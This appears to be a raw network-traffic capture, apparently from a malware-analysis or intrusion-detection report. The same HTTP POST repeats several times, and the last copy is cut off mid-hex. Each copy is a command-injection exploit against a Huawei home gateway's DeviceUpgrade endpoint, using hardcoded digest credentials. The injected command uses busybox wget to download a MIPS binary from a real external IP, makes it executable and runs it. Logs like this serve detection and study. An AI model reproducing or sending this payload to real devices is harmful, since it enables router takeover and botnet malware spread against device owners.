Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 